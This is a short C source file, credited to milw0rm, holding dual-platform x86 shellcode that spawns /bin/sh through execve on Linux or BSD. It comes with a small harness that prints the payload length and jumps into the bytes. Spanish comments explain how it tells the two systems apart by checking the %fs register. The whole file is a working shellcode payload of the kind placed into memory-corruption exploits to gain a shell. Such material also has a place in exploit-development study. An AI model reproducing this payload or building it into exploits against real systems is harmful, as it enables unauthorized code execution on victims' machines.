/*
* Linux/x86 and Bsd/x86
*
* execve() of /bin/sh by dymitri!!!
*
*/
#include <stdio.h>
char
code[] =
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x54"
"\x53"
"\x50"
"\x8c\xe0"
"\x21\xc0"
"\x74\x04"
"\xb0\x3b"
"\xeb\x07" /* si es bsd saltamos los 7 bytes para llegar al int $0x80 */
"\xb0\x0b"
"\x99" /* En caso contrario si %fs es igual a 0 configuramos para que la ejecucion sea sobre linux */
"\x52"
"\x53"
"\x89\xe1"
"\xcd\x80";
main()
{
void (*s)() = (void *)code;
printf("Shellcode length: %d\nExecuting..\n\n",
strlen(code));
s();
}
// milw0rm.com [2004-09-12]